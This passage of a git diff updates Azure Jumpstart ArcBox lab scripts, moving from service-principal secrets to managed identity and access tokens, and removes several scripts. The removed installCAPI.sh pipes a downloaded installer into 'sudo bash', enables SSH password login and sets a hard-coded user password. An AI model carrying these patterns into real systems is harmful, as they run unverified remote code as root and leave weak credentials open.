namingPrefixStage-Ubuntu-01 + settings: + Name: namingPrefixStage-Ubuntu-01 + SwitchName: 'InternalNATSwitch' + VhdPath: F:\Virtual Machines\ArcBox-Ubuntu-01.vhdx + ProcessorCount: 2 + StartupMemory: '4GB' + RestartIfNeeded: true + State: Running + Generation: 2 + Path: F:\Virtual Machines + EnableGuestService: true + SecureBoot: false + - resource: HyperVDsc/VMHyperV + id: namingPrefixStage-Ubuntu-02 + directives: + description: Configure VM namingPrefixStage-Ubuntu-02 + settings: + Name: namingPrefixStage-Ubuntu-02 + SwitchName: 'InternalNATSwitch' + VhdPath: F:\Virtual Machines\ArcBox-Ubuntu-02.vhdx + ProcessorCount: 2 + StartupMemory: '4GB' + RestartIfNeeded: true + State: Running + Generation: 2 + Path: F:\Virtual Machines + EnableGuestService: true + SecureBoot: false + configurationVersion: 0.2.0 \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/dsc/virtual_machines_sql.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/virtual_machines_sql.dsc.yml new file mode 100644 index 0000000000..f385a8ca0f --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/dsc/virtual_machines_sql.dsc.yml @@ -0,0 +1,20 @@ +# yaml-language-server: $schema=https://aka.ms/configuration-dsc-schema/0.2 +properties: + resources: + - resource: HyperVDsc/VMHyperV + id: namingPrefixStage-SQL + directives: + description: Configure VM namingPrefixStage-SQL + settings: + Name: namingPrefixStage-SQL + SwitchName: 'InternalNATSwitch' + VhdPath: F:\Virtual Machines\ArcBox-SQL.vhdx + ProcessorCount: 2 + StartupMemory: '6GB' + RestartIfNeeded: true + State: Running + Generation: 2 + Path: F:\Virtual Machines + EnableGuestService: true + SecureBoot: true + configurationVersion: 0.2.0 \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 index 693e94e4a9..c1e718897e 100644 --- a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 +++ b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 @@ -3,21 +3,21 @@ $Env:ToolsDir = "C:\Tools" $Env:ArcBoxDir = "C:\ArcBox" $Env:ArcBoxLogsDir = "C:\ArcBox\Logs" $Env:ArcBoxIconDir = "C:\ArcBox\Icons" -$Env:k3sArcClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "K3s" | Where-Object { $_ -ne "" } +$Env:k3sArcClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "$namingPrefix-K3s" | Where-Object { $_ -ne "" -and $_ -notmatch "-Data-" } $Env:k3sArcClusterName=$Env:k3sArcClusterName -replace "`n","" +$namingPrefix = $Env:namingPrefix $k3sNamespace = "hello-arc" $ingressNamespace = "ingress-nginx" -$certname = "k3s-ingress-cert" $certdns = "arcbox.k3sdevops.com" $appClonedRepo = "https://github.com/$Env:githubUser/azure-arc-jumpstart-apps" Start-Transcript -Path $Env:ArcBoxLogsDir\K3sGitOps.log -Write-Host "Login to Az CLI using the service principal" -az login --service-principal --username $Env:spnClientID --password=$Env:spnClientSecret --tenant $Env:spnTenantId +Write-Host "Login to Az CLI using the managed identity" +az login --identity # Making extension install dynamic az config set extension.use_dynamic_install=yes_without_prompt @@ -25,7 +25,8 @@ Write-Host "`n" az -v # Switch kubectl context to arcbox-k3s -kubectx arcbox-k3s +$Env:KUBECONFIG="C:\Users\$Env:adminUsername\.kube\config-k3s" +kubectx ############################# # - Apply GitOps Configs @@ -41,7 +42,7 @@ az k8s-configuration flux create ` --cluster-type connectedClusters ` --scope cluster ` --url $appClonedRepo ` - --branch main --sync-interval 3s ` + --branch $Env:githubBranch --sync-interval 3s ` --kustomization name=nginx path=./nginx/release # Create GitOps config for Hello-Arc application @@ -54,116 +55,49 @@ az k8s-configuration flux create ` --cluster-type connectedClusters ` --scope namespace ` --url $appClonedRepo ` - --branch main --sync-interval 3s ` + --branch $env:githubBranch --sync-interval 3s ` --kustomization name=helloarc path=./hello-arc/yaml -################################################ -# - Install Key Vault Extension / Create Ingress -################################################ - -Write-Host "Generating a TLS Certificate" -$cert = New-SelfSignedCertificate -DnsName $certdns -KeyAlgorithm RSA -KeyLength 2048 -NotAfter (Get-Date).AddYears(1) -CertStoreLocation "Cert:\CurrentUser\My" -$certPassword = ConvertTo-SecureString -String "arcbox" -Force -AsPlainText -Export-PfxCertificate -Cert "cert:\CurrentUser\My\$($cert.Thumbprint)" -FilePath "$Env:TempDir\$certname.pfx" -Password $certPassword -Import-PfxCertificate -FilePath "$Env:TempDir\$certname.pfx" -CertStoreLocation Cert:\LocalMachine\Root -Password $certPassword - -Write-Host "Importing the TLS certificate to Key Vault" -az keyvault certificate import ` - --vault-name $Env:keyVaultName ` - --password "arcbox" ` - --name $certname ` - --file "$Env:TempDir\$certname.pfx" - -Write-Host "Installing Azure Key Vault Kubernetes extension instance" -az k8s-extension create ` - --name 'akvsecretsprovider' ` - --extension-type Microsoft.AzureKeyVaultSecretsProvider ` - --scope cluster ` - --cluster-name $Env:k3sArcClusterName ` - --resource-group $Env:resourceGroup ` - --cluster-type connectedClusters ` - --release-namespace kube-system ` - --configuration-settings 'secrets-store-csi-driver.enableSecretRotation=true' 'secrets-store-csi-driver.syncSecret.enabled=true' - -# Create the Kubernetes secret with the service principal credentials -kubectl create secret generic secrets-store-creds --namespace $k3sNamespace --from-literal clientid=$Env:spnClientID --from-literal clientsecret=$Env:spnClientSecret -kubectl --namespace $k3sNamespace label secret secrets-store-creds secrets-store.csi.k8s.io/used=true - -# Deploy SecretProviderClass -$secretProvider = @" -apiVersion: secrets-store.csi.x-k8s.io/v1 -kind: SecretProviderClass -metadata: - name: azure-kv-sync-tls -spec: - provider: azure - secretObjects: # secretObjects defines the desired state of synced K8s secret objects - - secretName: ingress-tls-csi - type: kubernetes.io/tls - data: - - objectName: "$certname" - key: tls.key - - objectName: "$certname" - key: tls.crt - parameters: - usePodIdentity: "false" - keyvaultName: $Env:keyVaultName - objects: | - array: - - | - objectName: "$certname" - objectType: secret - tenantId: "$Env:spnTenantId" -"@ - -Write-Host "Creating Secret Provider Class" -$secretProvider | kubectl apply -n $k3sNamespace -f - - -# Create the pod with volume referencing the secrets-store.csi.k8s.io driver -$appConsumer = @" -apiVersion: v1 -kind: Pod -metadata: - name: busybox-secrets-sync -spec: - containers: - - name: busybox - image: k8s.gcr.io/e2e-test-images/busybox:1.29 - command: - - "/bin/sleep" - - "10000" - volumeMounts: - - name: secrets-store-inline - mountPath: "/mnt/secrets-store" - readOnly: true - volumes: - - name: secrets-store-inline - csi: - driver: secrets-store.csi.k8s.io - readOnly: true - volumeAttributes: - secretProviderClass: "azure-kv-sync-tls" - nodePublishSecretRef: - name: secrets-store-creds -"@ - -Write-Host "Deploying App referencing the secret" -$appConsumer | kubectl apply -n $k3sNamespace -f - - -# Deploy an Ingress Resource referencing the Secret created by the CSI driver +$configs = $(az k8s-configuration flux list --cluster-name $Env:k3sArcClusterName --cluster-type connectedClusters --resource-group $Env:resourceGroup --query "[].name" -otsv) + +foreach ($configName in $configs) { + Write-Host "Checking GitOps configuration $configName on $Env:k3sArcClusterName" + $retryCount = 0 + $maxRetries = 5 + do { + $configStatus = $(az k8s-configuration flux show --name $configName --cluster-name $Env:k3sArcClusterName --cluster-type connectedClusters --resource-group $Env:resourceGroup -o json 2>$null) | convertFrom-JSON + if ($configStatus.ComplianceState -eq "Compliant") { + Write-Host "GitOps configuration $configName is ready on $Env:k3sArcClusterName" + } + else { + if ($configStatus.ComplianceState -ne "Non-compliant") { + Start-Sleep -Seconds 60 + } + elseif ($configStatus.ComplianceState -eq "Non-compliant" -and $retryCount -lt $maxRetries) { + Start-Sleep -Seconds 60 + $configStatus = $(az k8s-configuration flux show --name $configName --cluster-name $Env:k3sArcClusterName --cluster-type connectedClusters --resource-group $Env:resourceGroup -o json 2>$null) | convertFrom-JSON + if ($configStatus.ComplianceState -eq "Non-compliant" -and $retryCount -lt $maxRetries) { + $retryCount++ + } + } + elseif ($configStatus.ComplianceState -eq "Non-compliant" -and $retryCount -eq $maxRetries) { + Write-Host "GitOps configuration $configName has failed on $Env:k3sArcClusterName. Exiting..." + break + } + } + } until ($configStatus.ComplianceState -eq "Compliant") +} + +# Deploy an Ingress Resource for Hello-Arc $ingressController = @" apiVersion: networking.k8s.io/v1 kind: Ingress metadata: - name: ingress-tls + name: ingress annotations: - kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: / spec: - tls: - - hosts: - - "$certdns" - secretName: ingress-tls-csi + ingressClassName: nginx rules: - host: "$certdns" http: @@ -188,7 +122,7 @@ Add-Content -Path $Env:windir\System32\drivers\etc\hosts -Value "`n`t$ip`t$certd $shortcutLocation = "$Env:Public\Desktop\K3s Hello-Arc.lnk" $wScriptShell = New-Object -ComObject WScript.Shell $shortcut = $wScriptShell.CreateShortcut($shortcutLocation) -$shortcut.TargetPath = "https://$certdns" +$shortcut.TargetPath = "http://$certdns" $shortcut.IconLocation="$Env:ArcBoxIconDir\arc.ico, 0" $shortcut.WindowStyle = 3 $shortcut.Save() diff --git a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 index 6064c1fc36..fb54aab2ef 100644 --- a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 +++ b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 @@ -1,14 +1,14 @@ $Env:ArcBoxLogsDir = "C:\ArcBox\Logs" -$Env:k3sArcClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "K3s" | Where-Object { $_ -ne "" } +$Env:k3sArcClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "$namingPrefix-K3s" | Where-Object { $_ -ne "" -and $_ -notmatch "-Data-" } $Env:k3sArcClusterName=$Env:k3sArcClusterName -replace "`n","" -$k3sNamespace = "hello-arc" +$namingPrefix = $Env:namingPrefix $appClonedRepo = "https://github.com/$Env:githubUser/azure-arc-jumpstart-apps" Start-Transcript -Path $Env:ArcBoxLogsDir\K3sRBAC.log -# echo "Login to Az CLI using the service principal" -az login --service-principal --username $Env:spnClientID --password=$Env:spnClientSecret --tenant $Env:spnTenantId +Write-Host "Login to Az CLI using the managed identity" +az login --identity # Making extension install dynamic az config set extension.use_dynamic_install=yes_without_prompt @@ -16,19 +16,20 @@ Write-Host "`n" az -v # Switch kubectl context to arcbox-k3s -kubectx arcbox-k3s +$Env:KUBECONFIG="C:\Users\$Env:adminUsername\.kube\config-k3s" +kubectx ############################# # - Apply GitOps Configs ############################# # Create GitOps config for Hello-Arc RBAC -echo "Creating GitOps config for Hello-Arc RBAC" +Write-Host "Creating GitOps config for Hello-Arc RBAC" az k8s-configuration flux create ` --cluster-name $Env:k3sArcClusterName ` --resource-group $Env:resourceGroup ` --name config-helloarc-rbac ` --cluster-type connectedClusters ` --url $appClonedRepo ` - --branch main --sync-interval 3s ` + --branch $env:githubBranch --sync-interval 3s ` --kustomization name=bookstore path=./k8s-rbac-sample diff --git a/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 b/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 deleted file mode 100644 index a304f2a278..0000000000 --- a/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 +++ /dev/null @@ -1,109 +0,0 @@ -$Env:ArcBoxLogsDir = "C:\ArcBox\Logs" - -$certdns = "arcbox.devops.com" - -Start-Transcript -Path $Env:ArcBoxLogsDir\ResetBookstore.log - -# Switch kubectl context to arcbox-capi -kubectx arcbox-capi - -############################ -# - Deploy Ingress for Reset -############################ - -# Deploy Ingress for Bookbuyer Reset API -echo "Deploying Ingress Resource for bookbuyer reset API" -$ingressBookbuyer = @" -apiVersion: networking.k8s.io/v1 -kind: Ingress -metadata: - name: ingress-reset-bookbuyer - annotations: - kubernetes.io/ingress.class: nginx - nginx.ingress.kubernetes.io/rewrite-target: /reset -spec: - tls: - - hosts: - - "$certdns" - secretName: ingress-tls-csi - rules: - - host: "$certdns" - http: - paths: - - pathType: ImplementationSpecific - backend: - service: - name: bookbuyer - port: - number: 14001 - path: /bookbuyer/reset -"@ -$ingressBookbuyer | kubectl apply -n bookbuyer -f - - - -# Deploy Ingress for Bookstore Reset API -echo "Deploying Ingress Resource for bookstore reset API" -$ingressBookstore = @" -apiVersion: networking.k8s.io/v1 -kind: Ingress -metadata: - name: ingress-reset-bookstore - annotations: - kubernetes.io/ingress.class: nginx - nginx.ingress.kubernetes.io/rewrite-target: /reset -spec: - tls: - - hosts: - - "$certdns" - secretName: ingress-tls-csi - rules: - - host: "$certdns" - http: - paths: - - pathType: ImplementationSpecific - backend: - service: - name: bookstore - port: - number: 14001 - path: /bookstore/reset -"@ -$ingressBookstore | kubectl apply -n bookstore -f - - -# Deploy Ingress for Bookstore-v2 Reset API -echo "Deploying Ingress Resource for bookstore-v2 reset API" -$ingressBookstorev2 = @" -apiVersion: networking.k8s.io/v1 -kind: Ingress -metadata: - name: ingress-reset-bookstore-v2 - annotations: - kubernetes.io/ingress.class: nginx - nginx.ingress.kubernetes.io/rewrite-target: /reset -spec: - tls: - - hosts: - - "$certdns" - secretName: ingress-tls-csi - rules: - - host: "$certdns" - http: - paths: - - pathType: ImplementationSpecific - backend: - service: - name: bookstore-v2 - port: - number: 14001 - path: /bookstore-v2/reset -"@ -$ingressBookstorev2 | kubectl apply -n bookstore -f - - - -#################### -# - Invoke Reset API -#################### - -Invoke-WebRequest -Uri "https://$certdns/bookbuyer/reset" -UseBasicParsing -Invoke-WebRequest -Uri "https://$certdns/bookstore/reset" -UseBasicParsing -Invoke-WebRequest -Uri "https://$certdns/bookstore-v2/reset" -UseBasicParsing diff --git a/azure_jumpstart_arcbox/artifacts/installArcAgent.ps1 b/azure_jumpstart_arcbox/artifacts/installArcAgent.ps1 index 4f70a0d67c..32a7492b71 100644 --- a/azure_jumpstart_arcbox/artifacts/installArcAgent.ps1 +++ b/azure_jumpstart_arcbox/artifacts/installArcAgent.ps1 @@ -1,8 +1,7 @@ # Download the package param ( - [string]$spnClientId, - [string]$spnClientSecret, - [string]$spnTenantId, + [string]$accessToken, + [string]$tenantId, [string]$subscriptionId, [string]$resourceGroup, [string]$Azurelocation @@ -10,24 +9,22 @@ function download() {$ProgressPreference="SilentlyContinue"; Invoke-WebRequest -Uri https://aka.ms/AzureConnectedMachineAgent -OutFile AzureConnectedMachineAgent.msi} download - + # Install the package $exitCode = (Start-Process -FilePath msiexec.exe -ArgumentList @("/i", "AzureConnectedMachineAgent.msi" ,"/l*v", "installationlog.txt", "/qn") -Wait -Passthru).ExitCode if($exitCode -ne 0) { $message=(net helpmsg $exitCode) throw "Installation failed: $message See installationlog.txt for additional details." } - + # Run connect command & "$Env:ProgramW6432\AzureConnectedMachineAgent\azcmagent.exe" connect ` - --service-principal-id $spnClientId ` - --service-principal-secret $spnClientSecret ` + --access-token $accessToken ` --resource-group $resourceGroup ` - --tenant-id $spnTenantId ` + --tenant-id $tenantId ` --location $Azurelocation ` --subscription-id $subscriptionId ` --cloud "AzureCloud" ` - --tags "Project=jumpstart_arcbox" ` --correlation-id "d009f5dd-dba8-4ac7-bac9-b54ef3a6671a" # Do no change! - + if($LastExitCode -eq 0){Write-Host -ForegroundColor yellow "To view your onboarded server(s), navigate to https://ms.portal.azure.com/#blade/HubsExtension/BrowseResource/resourceType/Microsoft.HybridCompute%2Fmachines"} \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/installArcAgentSQLSP.ps1 b/azure_jumpstart_arcbox/artifacts/installArcAgentSQLSP.ps1 deleted file mode 100644 index b904e9ea6d..0000000000 --- a/azure_jumpstart_arcbox/artifacts/installArcAgentSQLSP.ps1 +++ /dev/null @@ -1,79 +0,0 @@ -param ( - [string]$spnClientId, - [string]$spnClientSecret, - [string]$spnTenantId, - [string]$subscriptionId, - [string]$resourceGroup, - [string]$Azurelocation -) - -$ArcBoxDir = "C:\ArcBox" -$ArcBoxLogsDir = "$ArcBoxDir\Logs" - -# Change working directory -Set-Location -Path $ArcBoxDir - -Start-Transcript -Path $ArcBoxLogsDir\installArcAgentSQL.log -$ErrorActionPreference = 'SilentlyContinue' - -# These settings will be replaced by the portal when the script is generated -$resourceTags= "Project=jumpstart_arcbox" -$licenseType = "Paid" -$currentDir = Get-Location -$unattended = $spnClientId -And $spnTenantId -And $spnClientSecret - -# These optional variables can be replaced with valid service principal details -# if you would like to use this script for a registration at scale scenario, i.e. run it on multiple machines remotely -# For more information, see https://learn.microsoft.com/sql/sql-server/azure-arc/connect-at-scale -# -# For security purposes, passwords should be stored in encrypted files as secure strings -# -[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 - -try { - Write-Host "Downloading AzureExtensionForSQLServer.msi" - Invoke-WebRequest -Uri https://aka.ms/AzureExtensionForSQLServer -OutFile AzureExtensionForSQLServer.msi - Write-Host "Download complete" -} -catch { - Write-Host "Downloading AzureExtensionForSQLServer.msi failed." - throw "Invoke-WebRequest failed: $_" -} - -try { - Write-Host "Installing AzureExtensionForSQLServer.msi" - $exitcode = (Start-Process -FilePath msiexec.exe -ArgumentList @("/i", "AzureExtensionForSQLServer.msi","/l*v", "installationlog.txt", "/qn") -Wait -Passthru).ExitCode - - if ($exitcode -ne 0) { - $message = "Installation failed: Please see $currentDir\installationlog.txt file for more information." - Write-Host -ForegroundColor red $message - return - } - - Write-Host "Installing AzureExtensionForSQLServer.msi successful." - - if ($unattended) { - Write-Host "Registering Arc-enabled SQL server using unattended method with AzureExtensionForSQLServer.exe." - & "$env:ProgramW6432\AzureExtensionForSQLServer\AzureExtensionForSQLServer.exe" --subId $subscriptionId --resourceGroup $resourceGroup --location $Azurelocation --tenantid $spnTenantId --service-principal-app-id $spnClientId --service-principal-secret $spnClientSecret --licenseType $licenseType --tags $resourceTags - } else { - Write-Host "Registering Arc-enabled SQL server using interactive login with AzureExtensionForSQLServer.exe" - & "$env:ProgramW6432\AzureExtensionForSQLServer\AzureExtensionForSQLServer.exe" --subId $subscriptionId --resourceGroup $resourceGroup --location $Azurelocation --tenantid $spnTenantId --licenseType $licenseType --tags $resourceTags - } - - if($LASTEXITCODE -eq 0){ - Write-Host -ForegroundColor green "Azure extension for SQL Server is successfully installed. If one or more SQL Server instances are up and running on the server, Arc-enabled SQL Server instance resource(s) will be visible within a minute on the portal. Newly installed instances or instances started now will show within an hour." - } - else{ - $message = "Failed to install Azure extension for SQL Server. Please see $currentDir\AzureExtensionForSQLServerInstallation.log file for more information." - Write-Host -ForegroundColor red $message - } -} -catch { - Write-Host -ForegroundColor red $_.Exception - throw -} - -Write-Host "SQL Server - Azure Arc resources should show up in resource group in less than 1 minute." -Write-Host "Arc-enabled SQL server deployment complete." - -Stop-Transcript \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/installArcAgentSQLUser.ps1 b/azure_jumpstart_arcbox/artifacts/installArcAgentSQLUser.ps1 deleted file mode 100644 index 073879cf68..0000000000 --- a/azure_jumpstart_arcbox/artifacts/installArcAgentSQLUser.ps1 +++ /dev/null @@ -1,74 +0,0 @@ -param ( - [string]$spnClientId, - [string]$spnClientSecret, - [string]$spnTenantId = $env:spnTenantId, - [string]$subscriptionId = $env:subscriptionId, - [string]$resourceGroup = $env:resourceGroup, - [string]$Azurelocation = $env:azureLocation -) - -$ArcBoxLogsDir = "C:\ArcBox\Logs" -Start-Transcript -Path $ArcBoxLogsDir\installArcAgentSQL.log -$ErrorActionPreference = 'SilentlyContinue' - -# These settings will be replaced by the portal when the script is generated -$resourceTags= "Project=jumpstart_arcbox" -$licenseType = "Paid" -$currentDir = Get-Location -$unattended = $false - -# These optional variables can be replaced with valid service principal details -# if you would like to use this script for a registration at scale scenario, i.e. run it on multiple machines remotely -# For more information, see https://learn.microsoft.com/sql/sql-server/azure-arc/connect-at-scale -# -# For security purposes, passwords should be stored in encrypted files as secure strings -# -[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 - -try { - Write-Host "Downloading AzureExtensionForSQLServer.msi" - Invoke-WebRequest -Uri https://aka.ms/AzureExtensionForSQLServer -OutFile AzureExtensionForSQLServer.msi - Write-Host "Download complete" -} -catch { - Write-Host "Downloading AzureExtensionForSQLServer.msi failed." - throw "Invoke-WebRequest failed: $_" -} - -try { - Write-Host "Installing AzureExtensionForSQLServer.msi" - $exitcode = (Start-Process -FilePath msiexec.exe -ArgumentList @("/i", "AzureExtensionForSQLServer.msi","/l*v", "installationlog.txt", "/qn") -Wait -Passthru).ExitCode - - if ($exitcode -ne 0) { - $message = "Installation failed: Please see $currentDir\installationlog.txt file for more information." - Write-Host -ForegroundColor red $message - return - } - - Write-Host "Installing AzureExtensionForSQLServer.msi successful." - - if ($unattended) { - Write-Host "Registering Arc-enabled SQL server using unattended method with AzureExtensionForSQLServer.exe." - & "$env:ProgramW6432\AzureExtensionForSQLServer\AzureExtensionForSQLServer.exe" --subId $subscriptionId --resourceGroup $resourceGroup --location $Azurelocation --tenantid $spnTenantId --service-principal-app-id $spnClientId --service-principal-secret $spnClientSecret --licenseType $licenseType --tags $resourceTags - } else { - Write-Host "Registering Arc-enabled SQL server using interactive login with AzureExtensionForSQLServer.exe" - & "$env:ProgramW6432\AzureExtensionForSQLServer\AzureExtensionForSQLServer.exe" --subId $subscriptionId --resourceGroup $resourceGroup --location $Azurelocation --tenantid $spnTenantId --licenseType $licenseType --tags $resourceTags - } - - if($LASTEXITCODE -eq 0){ - Write-Host -ForegroundColor green "Azure extension for SQL Server is successfully installed. If one or more SQL Server instances are up and running on the server, Arc-enabled SQL Server instance resource(s) will be visible within a minute on the portal. Newly installed instances or instances started now will show within an hour." - } - else{ - $message = "Failed to install Azure extension for SQL Server. Please see $currentDir\AzureExtensionForSQLServerInstallation.log file for more information." - Write-Host -ForegroundColor red $message - } -} -catch { - Write-Host -ForegroundColor red $_.Exception - throw -} - -Write-Host "SQL Server - Azure Arc resources should show up in resource group in less than 1 minute." -Write-Host "Arc-enabled SQL server deployment complete." - -Stop-Transcript \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/installArcAgentUbuntu.sh b/azure_jumpstart_arcbox/artifacts/installArcAgentUbuntu.sh index 8c4a2f3966..22de750af5 100644 --- a/azure_jumpstart_arcbox/artifacts/installArcAgentUbuntu.sh +++ b/azure_jumpstart_arcbox/artifacts/installArcAgentUbuntu.sh @@ -14,7 +14,4 @@ bash ~/install_linux_azcmagent.sh # 2>/dev/null ArcServerResourceName=$(hostname |sed -e "s/\b\(.\)/\u\1/g") # Run connect command -azcmagent connect --service-principal-id $spnClientId --service-principal-secret $spnClientSecret --resource-group $resourceGroup --tenant-id $spnTenantId --location $Azurelocation --subscription-id $subscriptionId --resource-name "${ArcServerResourceName}" --cloud "AzureCloud" --tags "Project=jumpstart_arcbox" --correlation-id "d009f5dd-dba8-4ac7-bac9-b54ef3a6671a" - -# Configure the agent to allow connections on port 22 -azcmagent config set incomingconnections.ports 22 \ No newline at end of file +azcmagent connect --access-token $accessToken --resource-group $resourceGroup --tenant-id $tenantId --location $Azurelocation --subscription-id $subscriptionId --resource-name "${ArcServerResourceName}" --cloud "AzureCloud" --correlation-id "d009f5dd-dba8-4ac7-bac9-b54ef3a6671a" diff --git a/azure_jumpstart_arcbox/artifacts/installCAPI.sh b/azure_jumpstart_arcbox/artifacts/installCAPI.sh deleted file mode 100644 index 973e122300..0000000000 --- a/azure_jumpstart_arcbox/artifacts/installCAPI.sh +++ /dev/null @@ -1,296 +0,0 @@ -#!/bin/bash -exec >installCAPI.log -exec 2>&1 - -sudo apt-get update - -sudo sed -i "s/PasswordAuthentication no/PasswordAuthentication yes/" /etc/ssh/sshd_config -sudo adduser staginguser --gecos "First Last,RoomNumber,WorkPhone,HomePhone" --disabled-password -sudo echo "staginguser:ArcPassw0rd" | sudo chpasswd - -# Injecting environment variables from Azure deployment -echo '#!/bin/bash' >> vars.sh -echo $adminUsername:$1 | awk '{print substr($1,2); }' >> vars.sh -echo $SPN_CLIENT_ID:$2 | awk '{print substr($1,2); }' >> vars.sh -echo $SPN_CLIENT_SECRET:$3 | awk '{print substr($1,2); }' >> vars.sh -echo $SPN_TENANT_ID:$4 | awk '{print substr($1,2); }' >> vars.sh -echo $vmName:$5 | awk '{print substr($1,2); }' >> vars.sh -echo $location:$6 | awk '{print substr($1,2); }' >> vars.sh -echo $stagingStorageAccountName:$7 | awk '{print substr($1,2); }' >> vars.sh -echo $logAnalyticsWorkspace:$8 | awk '{print substr($1,2); }' >> vars.sh -echo $capiArcDataClusterName:$9 | awk '{print substr($1,2); }' >> vars.sh -echo $templateBaseUrl:${10} | awk '{print substr($1,2); }' >> vars.sh -echo $flavor:${11} | awk '{print substr($1,2); }' >> vars.sh -sed -i '2s/^/export adminUsername=/' vars.sh -sed -i '3s/^/export SPN_CLIENT_ID=/' vars.sh -sed -i '4s/^/export SPN_CLIENT_SECRET=/' vars.sh -sed -i '5s/^/export SPN_TENANT_ID=/' vars.sh -sed -i '6s/^/export vmName=/' vars.sh -sed -i '7s/^/export location=/' vars.sh -sed -i '8s/^/export stagingStorageAccountName=/' vars.sh -sed -i '9s/^/export logAnalyticsWorkspace=/' vars.sh -sed -i '10s/^/export capiArcDataClusterName=/' vars.sh -sed -i '11s/^/export templateBaseUrl=/' vars.sh -sed -i '12s/^/export flavor=/' vars.sh - -chmod +x vars.sh -. ./vars.sh - -# Creating login message of the day (motd) -sudo curl -o /etc/profile.d/welcomeCAPI.sh ${templateBaseUrl}artifacts/welcomeCAPI.sh - -# Syncing this script log to 'jumpstart_logs' directory for ease of troubleshooting -sudo -u $adminUsername mkdir -p /home/${adminUsername}/jumpstart_logs -while sleep 1; do sudo -s rsync -a /var/lib/waagent/custom-script/download/0/installCAPI.log /home/${adminUsername}/jumpstart_logs/installCAPI.log; done & - -# Installing Azure CLI & Azure Arc extensions -curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - -sudo -u $adminUsername az extension add --name connectedk8s -sudo -u $adminUsername az extension add --name k8s-configuration -sudo -u $adminUsername az extension add --name k8s-extension - -echo "Log in to Azure" -sudo -u $adminUsername az login --service-principal --username $SPN_CLIENT_ID --password=$SPN_CLIENT_SECRET --tenant $SPN_TENANT_ID -subscriptionId=$(sudo -u $adminUsername az account show --query id --output tsv) -sudo -u $adminUsername az account set -s $subscriptionId -export AZURE_RESOURCE_GROUP=$(sudo -u $adminUsername az resource list --query "[?name=='$stagingStorageAccountName']".[resourceGroup] --resource-type "Microsoft.Storage/storageAccounts" -o tsv) -az -v -echo "" - -echo "Registering resource providers" - -sudo -u $adminUsername az provider register --namespace Microsoft.Kubernetes --wait -sudo -u $adminUsername az provider register --namespace Microsoft.KubernetesConfiguration --wait -sudo -u $adminUsername az provider register --namespace Microsoft.ExtendedLocation --wait -sudo -u $adminUsername az provider register --namespace Microsoft.AzureArcData --wait - -echo "" - -# Installing snap -sudo apt install snapd - -# Installing jq -sudo apt install jq -y - -# Installing kustomize -sudo snap install kustomize - -# Set CAPI deployment environment variables -export KUBECTL_VERSION="1.28/stable" # Do not change! -export CLUSTERCTL_VERSION="1.5.2" # Do not change! -export CAPI_PROVIDER="azure" # Do not change! -export CAPI_PROVIDER_VERSION="1.7.6" # Do not change! -export KUBERNETES_VERSION="1.28.2" # Do not change! -export CALICO_VERSION="v3.25.2" # Do not change! -export AZURE_DISK_CSI_DRIVER_VERSION="1.29.0" # Do not change! -export K3S_VERSION="1.28.2+k3s1" # Do not change! -export AZURE_ENVIRONMENT="AzurePublicCloud" # Do not change! -export CONTROL_PLANE_MACHINE_COUNT="3" # Do not change! -export WORKER_MACHINE_COUNT="3" -export AZURE_LOCATION=$location # Name of the Azure datacenter location. -export CLUSTER_NAME=$(echo "${capiArcDataClusterName,,}") # Converting to lowercase case variable > # Name of the CAPI workload cluster. Must consist of lower case alphanumeric characters, '-' or '.', and must start and end with an alphanumeric character (e.g. 'example.com', regex used for validation is '[a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*') -export AZURE_SUBSCRIPTION_ID=$subscriptionId -export AZURE_TENANT_ID=$SPN_TENANT_ID -export AZURE_CLIENT_ID=$SPN_CLIENT_ID -export AZURE_CLIENT_SECRET=$SPN_CLIENT_SECRET -export AZURE_CONTROL_PLANE_MACHINE_TYPE="Standard_B4ms" -if [ $flavor = "DevOps" ]; then - export AZURE_NODE_MACHINE_TYPE="Standard_B2ms" -else - export AZURE_NODE_MACHINE_TYPE="Standard_B8ms" -fi - -# Base64 encode the variables - Do not change! -export AZURE_SUBSCRIPTION_ID_B64="$(echo -n "$subscriptionId" | base64 | tr -d '\n')" -export AZURE_TENANT_ID_B64="$(echo -n "$SPN_TENANT_ID" | base64 | tr -d '\n')" -export AZURE_CLIENT_ID_B64="$(echo -n "$SPN_CLIENT_ID" | base64 | tr -d '\n')" -export AZURE_CLIENT_SECRET_B64="$(echo -n "$SPN_CLIENT_SECRET" | base64 | tr -d '\n')" - -# Settings needed for AzureClusterIdentity used by the AzureCluster -export AZURE_CLUSTER_IDENTITY_SECRET_NAME="cluster-identity-secret" -export CLUSTER_IDENTITY_NAME="cluster-identity" 